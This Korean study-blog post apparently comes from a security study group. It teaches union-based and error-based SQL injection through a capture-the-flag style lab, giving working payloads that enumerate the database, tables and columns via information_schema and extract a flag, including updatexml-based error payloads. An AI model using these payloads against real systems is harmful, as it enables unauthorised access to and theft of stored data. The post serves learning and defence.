wonder

정보보안 스터디 - 3주차 1일 - Union/Error Based Injection 본문

hacking study/SQL Injection

정보보안 스터디 - 3주차 1일 - Union/Error Based Injection

wonder12 2022. 10. 28. 02:38

 

union select란

쉽게 말해 select문을 한번 더 쓸 수 있게 해주는 존재입니다.

두개의 쿼리를 합쳐줍니다.

 

합치긴 합치는데 어떻게 결과가 나오나?

 

원래는 

select id from table union select idx from table2

라면

idx 칼럼명은 없어지고 데이터만 id 밑에 들어오게 됩니다.

 

SELECT id FROM table1 union select 4;

이런식으로 

임의의 숫자 또는 문자를 넣었을 때 테이블에 저장되어 있지 않아도 결과로 뜹니다.

 

 

하지만 

union select를 사용하려면 조건은 항상 열 개수를 맞춰줘야 합니다.

 

열 개수를 맞춰 준다면 

이렇게 각 열마다 추가가 됩니다.

select uid,pwd,name,memo from board union select 1,2,3,4;

 

열 개수를 맞추지 않으면 오류가 떠서 실행조차 안된다는 말이죠.

select uid,pwd,name,memo from board union select 1,2,3

 

 

SELECT * FROM members union select 1,2,3,4;

실제로도 MYSQL에 가서 질의문을 넣어보면 이런식으로 결과가 나오는 걸 확인할 수 있습니다.

 

 

 

 

SQL Injection 에 대해서 다시 정리하자면 DB를 건드리는 공격법입니다.

DB관련된 건 모두 가능합니다. 크게 로그인 우회와 데이터 추출, 탈취가 가능합니다.

 

데이터 추출에는 2가지 유형이 있습니다.

SQL 질의문의 결과가 화면에 보이느냐 vs 안보이느냐

 

로 나뉘며

Injection의 종류도 비슷하게 나눌 수 있습니다.

 

Union Based Injection : DB의 결과가 나오는 페이지 일 경우 ex) 게시판은 board관련 테이블에서 결과가 노출되는 구조입니다.

Error Based Injection : SQL질의문의 에러가 화면상에 포함되어 노출 되는 경우 ex) 일반적인 문법 오류 말고 의도적인 sql질의문으로 로그인을 했는데, 에러가 떳을 경우

Blind Based Injection: SQL 관련해서 결과가 화면에 안뜰 경우

 

물론 Blind Based Injection으로 결론적으로 모두 데이터 탈취가 가능합니다. 그렇다고 해서 처음부터 blind 로 시도한다면  그만큼 시간이 많이 걸리고 어려울 것입니다. 길을 돌아가는것입니다.

Error 또는 Union이 된다면, 그것만큼 확실한게 없기 때문에 강력한 것 먼저 시도하는 겁니다.

 

이제 단계별로 어떤 방식으로 생각해야하고, DB 데이터 추출까지 진행 되는지 알아보도록 합시다.

 

 

Union Based Injection

1. 어떤 SQL 쿼리를 가지고 있을 것이다 추측해봅니다.

ex)

예를들어 게시판이 있고, 검색하는 창이 있다면

검색창을 통해 sql injection을 할 수 있을 것입니다.

쿼리구조를 예상해보자면

select ~ from ~(아마 board에 관한 테이블입니다.) where id like '%%';

일 것입니다.

 

 

 

2. payload가 통하는지 던져봅니다.

 

여기에 이런식으로 넣어봅니다.

mario%' and 1=1 #

무지성으로 이렇게 주석처리 할 수 도 있겠지만

뒤에 부분을 맞춰주는 방법이 잘 통하고 좋습니다.

mario%' and '1%'='1

똑같은 형태로 맞춰줘서 참으로 만들어 버렸습니다.

 

select ~ from ~ where id like '%mario%' or 1=1 # %';

select ~ from ~ where id like '%mario%' or '1%'='1%';

mario 라고 결과가 뜨네요.

payload가 통하는 걸 확인 할 수 있습니다.

 

 

통한다면 게임 끝입니다. 

확정된 SQL쿼리 구조를 가지고 뒤의 과정들을 대입해보면 됩니다.

 

3. column개수 확인

 

union select을 사용하려면

열 개수가 서로 같아야 한다고 했습니다.

하지만 가져오기만 하고 데이터들이 화면에 모두 뜨는 것이 아니기 때문에 4열이라고 할 수 없습니다.

열 개수를 확인하려면 나올 때까지 대입하는 방법이 있습니다.

 

select ~ from ~ where id like '%mario%' union select 1,2,3,...  # %';

 

열의 개수가 작다면 결과는 이런식이 돼서 오류가 뜹니다. 즉 값이 안나옵니다.

 

select ~ from ~ where id like '%mario%' union select 1,2,3,4 # %';

4가 되어서야 값이 떴습니다.

 

 

 

order by : 정렬

원하는 질의문:

union select 

 

 

 

 

4. Database 명 확인과정

원하는 질의문:

select database()

select ~ from ~ where id like '%mario%' union select database(),2,3,4 # %';

payload:

 

database명은 sqli_1로 알아냈습니다.

 

 

5. Table 명 확인 과정

원하는 질의문:

select table_name from information_schema.tables where table_schema='sqli_1'

DB명을 알고있으니 적용시켜 봅니다.

 

적용시킬 쿼리:

select ~ from ~ where id like '%mario%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' # %';

 

payload:

mario%' union select table_name,2,3,4 from information_schema.tables where table_schema='sqli_1' #

 

flag_table

user_info

로 테이블명이 뜹니다.

 

6. Column 명 확인 과정

바로 flag_table을 확인 해보겠습니다.

 

원하는 질의문:

select column_name from information_schema.columns where table_name='flag_table'

 

적용시킬 쿼리:

select ~ from ~ where id like '%mario%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' # %';

 

payload:

mario%' union select column_name,2,3,4 from information_schema.columns where table_name='flag_table' #

 

.

 

7. 데이터 추출

 

database명, table명, column명을 모두 알았습니다.

flag 열의 데이터를 보도록 하겠습니다.

원하는 질의문:

select flag from flag_table 

 

적용시킬 쿼리:

select ~ from ~ where id like '%mario%' union select flag,2,3,4 from flag_table #%';

 

payload:

mario%' union select flag,2,3,4 from flag_table #

데이터를 추출하였습니다.

 

 

 

Error Based Injection

에러의 종류에는

논리에러

문법에러

가있습니다.

 

문법에러는 틀리면 실행조차 안되기 때문에,

우리가 원하는건 논리에러이며 에러를 포함하여 그 옆으로 결과값을 알아낼 수 있습니다.

 

예상과 달리 블라인드 다음 두번째로 많이 나오는 인젝션이라고 합니다. 

 

과정은 Union 과 동일합니다.

설명은 줄이겠습니다.

 

 

1. SQL 쿼리 추측

select ~ from user where id=''까지는 확실합니다.

 

' or 1=1 #은 당연히 안됩니다.

 

그런 경우에는 일부러 에러를 발생시키는 질의문을 넣겠습니다.

 

updatexml(null,concat(0x3a,(select 'sqli')),null)

concat은 두문장을 더해주는 역할을 하고 해석하면 :sqli이 됩니다. 데이터베이스 :sqli가 없기 때문에 에러가 뜰 것입니다.

 

select ~ from user where id='' and updatexml(null,concat(0x3a,(select 'sqli')),null) and '1'='1'

에러가 뜨면서 select문이 적용되네요.

이제 이걸로 똑같이 데이터 추출을 하면 됩니다.

 

 

 

2. DB

원하는 질의문 : select database()

select ~ from user where id='' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1'

 

DB: sqli_2

 

3. Table

원하는 질의문 : select table_name from information_schema.tables where table_schema='sqli_2'

select ~ from user where id='' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema='sqli_2' )),null) and '1'='1'

 

하지만 이렇게 하면 1행 이상 값이 나오기 때문에 출력 불가합니다.

 

limit 번호, 개수 로 제한을 줍니다.

 

select ~ from user where id='' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema='sqli_2' limit 0,1 )),null) and '1'='1'

 

0번째부터 바로 나왔습니다.

 

4. Column

원하는 질의문 : select column_name from information_schema.columns where table_name='flag_table'

select ~ from user where id='' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='flag_table' limit 0,1 )),null) and '1'='1'

 

5. 데이터 추출

원하는 질의문 : select flag from flag_table

select ~ from user where id='' and updatexml(null,concat(0x3a,(select flag from flag_table)),null) and '1'='1'

 

 

 

 

 

Comments